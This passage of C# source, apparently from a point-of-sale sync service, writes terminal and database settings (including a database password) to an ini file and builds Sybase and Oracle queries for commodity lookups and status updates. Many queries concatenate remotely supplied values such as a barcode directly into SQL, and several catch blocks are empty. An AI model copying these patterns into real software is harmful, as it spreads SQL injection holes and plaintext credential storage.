sw.WriteLine("adv_top=" + adv_top);
sw.WriteLine("adv_end=" + adv_end);
sw.WriteLine("input_mode=" + input_mode);
sw.WriteLine("is_print=" + is_print);
sw.WriteLine("is_open=" + is_open);
sw.WriteLine("is_dpis=" + is_dpis);
sw.WriteLine("xpprint_num=" + xpprint_num);
sw.WriteLine("jbprint_num=" + jbprint_num);
sw.WriteLine("effectiveday=" + effectiveday);
sw.WriteLine("checkday=" + checkday);
sw.WriteLine("dispcom=" + dispcom);
sw.WriteLine("spdj=" + spdj);
sw.WriteLine("printport=" + printport);
sw.WriteLine("discount2=" + discount2);
sw.WriteLine("kitchenprint=" + kitchenprint);
sw.WriteLine("prefix=" + prefix);
sw.WriteLine("serverpartname=" + serverpartname);
sw.WriteLine("brandnum=" + brandnum);
sw.WriteLine("endaccounttimes=" + endaccounttimes);
sw.WriteLine("billoverlap=" + billoverlap);
sw.Close();
#endregion
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
if (rdSetup.HasRows)
{
while (rdSetup.Read())
{
#region 创建新文件
object database = rdSetup["DATABASE"];
object startype = rdSetup["STARTYPE"];
object name = rdSetup["NAME"];
object servername = rdSetup["SERVERNAME"];
object apppath = rdSetup["APPPATH"];
object port = rdSetup["PORT"];
object setup = rdSetup["SETUP"];
object openpath = rdSetup["OPENPATH"];
object dbsync = rdSetup["DBSYNC"];
object iswork = rdSetup["ISWORK"];
object dbconect = rdSetup["DBCONECT"];
object dbip1 = rdSetup["DBIP"];
object dbport1 = rdSetup["DBPORT"];
object dbname1 = rdSetup["DBNAME"];
object dbuser1 = rdSetup["DBUSER"];
object dbpass1 = rdSetup["DBPASS"];
object conname1 = rdSetup["CONNAME"];
object serverpartcode = rdSetup["SERVERPARTCODE"];
object shopcode = rdSetup["SHOPCODE"];
object machinecode = rdSetup["MACHINECODE"];
object orapath = rdSetup["ORAPATH"];
object setups = rdSetup["SETUPS"];
object manmode = rdSetup["MANMODE"];
object systemparm = rdSetup["SYSTEMPARM"];
object softwarename = rdSetup["SOFTWARENAME"];
object dbtrans_mode = rdSetup["DBTRANS_MODE"];
object endgo_line = rdSetup["ENDGO_LINE"];
object adv_top = rdSetup["ADV_TOP"];
object adv_end = rdSetup["ADV_END"];
object input_mode = rdSetup["INPUT_MODE"];
object is_print = rdSetup["IS_PRINT"];
object is_open = rdSetup["IS_OPEN"];
object is_dpis = rdSetup["IS_DPIS"];
object xpprint_num = rdSetup["XPPRINT_NUM"];
object jbprint_num = rdSetup["JBPRINT_NUM"];
object effectiveday = rdSetup["EFFECTIVEDAY"];
object checkday = rdSetup["CHECKDAY"];
object dispcom = rdSetup["DISPCOM"];
object spdj = rdSetup["SPDJ"];
object printport = rdSetup["PRINTPORT"];
object discount2 = rdSetup["DISCOUNT2"];
object kitchenprint = rdSetup["KITCHENPRINT"];
object prefix = rdSetup["PREFIX"];
object serverpartname = rdSetup["SERVERPARTNAME"];
object brandnum = rdSetup["BRANDNUM"];
object endaccounttimes = rdSetup["ENDACCOUNTTIMES"];
object billoverlap = rdSetup["BILLOVERLAP"];
StreamWriter sw = new StreamWriter("NEWsetup.ini");
sw.WriteLine(database);
sw.WriteLine("startype=" + startype);
sw.WriteLine("dbname=" + name);
sw.WriteLine("servername=" + servername);
sw.WriteLine("apppath=" + apppath);
sw.WriteLine("port=" + port);
sw.WriteLine("setup=" + setup);
sw.WriteLine("openpath=" + openpath);
sw.WriteLine();
sw.WriteLine(dbsync);
sw.WriteLine("iswork=" + iswork);
sw.WriteLine(dbconect);
sw.WriteLine("dbip=" + dbip1);
sw.WriteLine("dbport=" + dbport1);
sw.WriteLine("dbname=" + dbname1);
sw.WriteLine("dbuser=" + dbuser1);
sw.WriteLine("dbpass=" + dbpass1);
sw.WriteLine("conname=" + conname1);
sw.WriteLine("serverpartcode=" + serverpartcode);
sw.WriteLine("shopcode=" + shopcode);
sw.WriteLine("machinecode=" + machinecode);
sw.WriteLine("orapath=" + orapath);
sw.WriteLine(setups);
sw.WriteLine("manmode=" + manmode);
sw.WriteLine(systemparm);
sw.WriteLine("softwarename=" + softwarename);
sw.WriteLine("dbtrans_mode=" + dbtrans_mode);
sw.WriteLine("endgo_line=" + endgo_line);
sw.WriteLine("adv_top=" + adv_top);
sw.WriteLine("adv_end=" + adv_end);
sw.WriteLine("input_mode=" + input_mode);
sw.WriteLine("is_print=" + is_print);
sw.WriteLine("is_open=" + is_open);
sw.WriteLine("is_dpis=" + is_dpis);
sw.WriteLine("xpprint_num=" + xpprint_num);
sw.WriteLine("jbprint_num=" + jbprint_num);
sw.WriteLine("effectiveday=" + effectiveday);
sw.WriteLine("checkday=" + checkday);
sw.WriteLine("dispcom=" + dispcom);
sw.WriteLine("spdj=" + spdj);
sw.WriteLine("printport=" + printport);
sw.WriteLine("discount2=" + discount2);
sw.WriteLine("kitchenprint=" + kitchenprint);
sw.WriteLine("prefix=" + prefix);
sw.WriteLine("serverpartname=" + serverpartname);
sw.WriteLine("brandnum=" + brandnum);
sw.WriteLine("endaccounttimes=" + endaccounttimes);
sw.WriteLine("billoverlap=" + billoverlap);
sw.Close();
#endregion
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 返回商品信息命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "commodityinfo" && datenow >= datebegin)//查找sqlanywhere商品信息保存至数据库中
{
string sql = "";
string Oraclesql = "";
string commodityInfo = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex
WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')";
DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0];
//OdbcCommand cmd = new OdbcCommand(sqlany, conany);
//OdbcDataReader odbcDRD = cmd.ExecuteReader();
//bool i = false;
string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'";
DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0];
//OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany);
//OdbcDataReader odbcrd1 = cmd1.ExecuteReader();
//bool j = odbcrd1.Read();
DateTime conndate = DateTime.Now;
String connectdate = conndate.ToShortDateString().ToString();
string connect_ip = lblIPAdress4.Text;
string machinename = lblComPName.Text;
string machinecode = "", serverpartcode = "", shopcode = "", brandnum = "";
string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex";
//OdbcCommand curr = new OdbcCommand(currcommcount, conany);
//OdbcDataReader odbccurr = curr.ExecuteReader();
int commcount = 0;
try
{
commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString());
}
catch
{
commcount = 0;
}
//if (odbccurr.HasRows)
//{
// odbccurr.Read();
// commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount
//}
FileStream fs = new FileStream("setup.ini", FileMode.Open);
StreamReader m_streamReader = new StreamReader(fs);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "machinecode")
machinecode = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "brandnum")
brandnum = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
fs.Close();
m_streamReader.Close();
string count = null; string sum = null; string DATE = null; string workname = null;
string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " +
"WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode +
" AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " +
"and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'";
DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0];
//OdbcCommand comsum = new OdbcCommand(sqlsum, conany);
//OdbcDataReader sumread = comsum.ExecuteReader();
if (_SellDataTable.Rows.Count > 0)
{
count = _SellDataTable.Rows[0]["max"].ToString();
sum = _SellDataTable.Rows[0]["sum"].ToString();
DATE = _SellDataTable.Rows[0]["SELL"].ToString();
}
string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " +
"b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" +
shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode +
"' and b.enddate is null";
//OdbcCommand comname = new OdbcCommand(sqlname, conany);
//OdbcDataReader nameread = comname.ExecuteReader();
DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0];
if (_PersonsellTable.Rows.Count > 0)
{
workname = _PersonsellTable.Rows[0]["sellworkername"].ToString();
}
else
{
workname = "未登陆工班";
}
if (count == "")
{
count = "0";
sum = "0";
}
//string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata";
////OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany);
////OdbcDataReader conrd = ocmd.ExecuteReader();
//DataTable _SellData = Lib.SyBaseHelper.QueryOdbc(sqlcontent)
//string COMMODITY_CODE = null;
//decimal SELLCOUNT = 0;
//if (conrd.HasRows)
//{
// conrd.Read();
// if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString()))
// {
// COMMODITY_CODE = (string)conrd["COMMODITY_CODE"];
// }
// SELLCOUNT = (decimal)conrd["SELLCOUNT"];
//}
string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" +
serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'";
OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn);
OracleDataReader poini = cmdpoini.ExecuteReader();
int pcount = 0;
if (poini.HasRows)
{
poini.Read();
pcount = int.Parse(poini["count(*)"].ToString());
}
if (_CommodityTable.Rows.Count > 0)
{
string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"];
string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"];
decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"];
if (_HotKeyTable.Rows.Count > 0)
{
string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"];
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "GetLastSellData' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo=" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname +
// "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "未找到对应商品信息";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex
WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')";
DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0];
//OdbcCommand cmd = new OdbcCommand(sqlany, conany);
//OdbcDataReader odbcDRD = cmd.ExecuteReader();
//bool i = odbcDRD.Read();
string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'";
DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0];
//OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany);
//OdbcDataReader odbcrd1 = cmd1.ExecuteReader();
//bool j = odbcrd1.Read();
DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString());
String connectdate = DateTime.Now.ToShortDateString().ToString();
string connect_ip = lblIPAdress4.Text;
string machinename = lblComPName.Text;
string machinecode = "", serverpartcode = "", shopcode = "", brandnum = "";
string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex";
//OdbcCommand curr = new OdbcCommand(currcommcount, conany);
//OdbcDataReader odbccurr = curr.ExecuteReader();
int commcount = 0;
try
{
commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString());
}
catch
{
commcount = 0;
}
//if (odbccurr.HasRows)
//{
// odbccurr.Read();
// commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount
//}
FileStream fs = new FileStream("setup.ini", FileMode.Open);
StreamReader m_streamReader = new StreamReader(fs);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "machinecode")
machinecode = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "brandnum")
brandnum = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
fs.Close();
m_streamReader.Close();
string count = null; string sum = null; string DATE = null; string workname = null;
string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " +
"WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode +
" AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " +
"and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow +
"'";
//OdbcCommand comsum = new OdbcCommand(sqlsum, conany);
//OdbcDataReader sumread = comsum.ExecuteReader();
DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0];
if (_SellDataTable.Rows.Count > 0)
{
//sumread.Read();
count = _SellDataTable.Rows[0]["max"].ToString();
sum = _SellDataTable.Rows[0]["sum"].ToString();
DATE = _SellDataTable.Rows[0]["SELL"].ToString();
}
string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " +
"b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" +
shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode +
"' and b.enddate is null";
//OdbcCommand comname = new OdbcCommand(sqlname, conany);
//OdbcDataReader nameread = comname.ExecuteReader();
DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0];
if (_PersonsellTable.Rows.Count > 0)
{
workname = _PersonsellTable.Rows[0]["sellworkername"].ToString();
}
else
{
workname = "未登陆工班";
}
if (count == "")
{
count = "0";
sum = "0";
}
//string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata";
//OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany);
//OdbcDataReader conrd = ocmd.ExecuteReader();
//string COMMODITY_CODE = null;
//decimal SELLCOUNT = 0;
//if (conrd.HasRows)
//{
// conrd.Read();
// if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString()))
// {
// COMMODITY_CODE = (string)conrd["COMMODITY_CODE"];
// }
// SELLCOUNT = (decimal)conrd["SELLCOUNT"];
//}
string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" +
serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'";
OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn);
OracleDataReader poini = cmdpoini.ExecuteReader();
int pcount = 0;
if (poini.HasRows)
{
poini.Read();
pcount = int.Parse(poini["count(*)"].ToString());
}
if (_CommodityTable.Rows.Count > 0)
{
string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"];
string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"];
decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"];
if (_HotKeyTable.Rows.Count > 0)
{
string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"];
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo +
//"' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
//"' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlsave, conn);
//ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
